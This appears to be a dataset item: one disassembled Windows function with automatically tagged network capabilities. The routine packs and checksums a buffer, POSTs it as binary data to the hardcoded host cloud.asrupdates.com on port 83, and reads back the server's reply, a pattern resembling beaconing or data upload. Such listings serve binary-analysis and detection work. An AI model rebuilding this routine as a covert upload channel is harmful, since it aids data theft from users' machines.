Function at 0x401a42
Capabilities:
Check http status code
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push 0x74
mov eax, 0x4b3256
call fcn.0048cd4a
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x74], eax
mov ebx, ecx
mov dword [ebp - 0x80], esi
push eax
call fcn.00404861
mov dword [ebp - 4], esi
xor eax, eax
inc eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x54]
call fcn.0040389d
mov byte [ebp - 4], 2
mov dword [ebp - 0x6c], esi
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x10]
sub edx, eax
sar edx, 2
mov ecx, dword [ebp - 0x6c]
cmp ecx, edx
jae 0x401af6
lea eax, [eax + ecx*4]
push eax
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x54]
call fcn.00403bbf
pop ecx
pop ecx
mov byte [ebp - 4], 3
lea edi, [ebp - 0x54]
call fcn.00403951
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
call fcn.0040392e
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 0xc]
sar eax, 2
dec eax
cmp dword [ebp - 0x6c], eax
jae 0x401af1
push 0x4c5c3c
lea eax, [ebp - 0x64]
push eax
mov ecx, edi
call fcn.00403c12
pop ecx
pop ecx
mov byte [ebp - 4], 4
call fcn.00403951
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x64]
call fcn.0040392e
inc dword [ebp - 0x6c]
jmp 0x401a7f
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040fa87
pop ecx
pop ecx
mov byte [ebp - 4], 5
lea edi, [ebp - 0x54]
call fcn.00403951
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
call fcn.0040392e
mov eax, dword [ebp - 0x54]
mov eax, dword [eax - 0xc]
lea edi, [eax + 4]
lea ebx, [ebp - 0x5c]
call fcn.0040416c
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x54]
mov edx, dword [eax - 0xc]
mov dword [ebp - 0x50], esi
or dword [ebp - 0x50], 0xffffffff
lea edi, [ebp - 0x50]
call fcn.004387c0
not dword [ebp - 0x50]
mov edi, dword [ebp - 0x5c]
mov eax, dword [edi]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
push dword [eax - 0xc]
push eax
mov eax, dword [edi]
add eax, 4
push eax
call fcn.0048afb0
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.00403eb3
mov byte [ebp - 4], 7
push esi
push esi
push esi
push 1
push 0x4c5c28
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 8
cmp eax, esi
je 0x401d6b
push esi
push esi
push 3
push esi
push esi
push 0x53
mov ecx, str.cloud.asrupdates.com
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x60], eax
mov byte [ebp - 4], 9
cmp eax, esi
je 0x401d44
push esi
push 0x8400f200
push esi
push esi
push esi
mov ecx, str._cloud
push ecx
push 0x4c5c40
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0xa
cmp ebx, esi
je 0x401d1d
push str.Content_Type:_application_octet_stream
lea ecx, [ebp - 0x78]
call fcn.004038e9
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax - 0xc]
push 0xa0000000
push ecx
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov eax, dword [edi + 4]
mov edi, dword [edi]
push eax
push edi
push 0xffffffffffffffff
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x401cfc
mov dword [ebp - 0x68], ebx
push 0x13
lea esi, [ebp - 0x68]
call fcn.0040e934
pop ecx
cmp eax, 0xc8
jne 0x401cf4
mov dword [ebp - 0x70], ebx
push 5
lea esi, [ebp - 0x70]
call fcn.0040e934
pop ecx
mov dword [ebp - 0x68], eax
xor ebx, ebx
cmp eax, ebx
jle 0x401ce5
xor edi, edi
mov dword [ebp - 0x7c], edi
mov esi, 0x1000
mov dword [ebp - 0x58], esi
push ebx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00403eea
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x58]
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00404092
push eax
push dword [ebp - 0x50]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401cb4
cmp dword [ebp - 0x58], ebx
je 0x401cb4
push dword [ebp - 0x58]
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00404092
push eax
lea eax, [ebp - 0x30]
call fcn.00403f40
add edi, dword [ebp - 0x58]
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x58], esi
jmp 0x401c71
cmp edi, dword [ebp - 0x68]
je 0x401cd2
push edi
push dword [ebp - 0x68]
push str.Read_data_mismatch____i___i_n
call fcn.00488c40
add esp, 0xc
lea eax, [ebp - 0x30]
call fcn.00403fda
mov byte [ebp - 4], 0xb
push ebx
push 1
lea ecx, [ebp - 0x4c]
call fcn.00405515
xor esi, esi
jmp 0x401d0f
push eax
push str.Content_length_error____i_n
call fcn.00488c40
xor esi, esi
jmp 0x401d0d
push eax
push str.Status_code_error____i_n
jmp 0x401ceb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpSendRequest_error____i_n
call fcn.00488c40
pop ecx
pop ecx
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x78]
call fcn.0040392e
jmp 0x401d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpOpenRequest_error____i_n
call fcn.00488c40
pop ecx
pop ecx
mov byte [ebp - 4], 9
cmp dword [ebp - 0x50], esi
je 0x401d57
push dword [ebp - 0x50]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401d57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetConnect_error____i_n
call fcn.00488c40
pop ecx
pop ecx
mov byte [ebp - 4], 8
cmp dword [ebp - 0x60], esi
je 0x401d7e
push dword [ebp - 0x60]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401d7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpen_error____i_n
call fcn.00488c40
pop ecx
pop ecx
cmp dword [ebp - 0x1c], esi
je 0x401e1f
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x401d93
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x50]
call fcn.004038e9
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.0040fa87
pop ecx
pop ecx
mov byte [ebp - 4], 0xe
lea edi, [ebp - 0x50]
call fcn.00403951
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x70]
call fcn.0040392e
mov edi, 0x4c5c3c
push edi
lea ecx, [ebp - 0x60]
call fcn.004038e9
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x60]
push eax
push edi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00429a90
add esp, 0x10
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x74]
call fcn.004048c3
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x48]
push eax
call fcn.00404899
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x60]
call fcn.0040392e
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x50]
call fcn.0040392e
mov byte [ebp - 4], 7
cmp dword [ebp - 0x64], esi
je 0x401e31
push dword [ebp - 0x64]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp - 4], 6
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.00405515
mov byte [ebp - 4], 2
lea ebx, [ebp - 0x5c]
call fcn.004041d3
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x54]
call fcn.0040392e
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x74]
call fcn.0048cda6
ret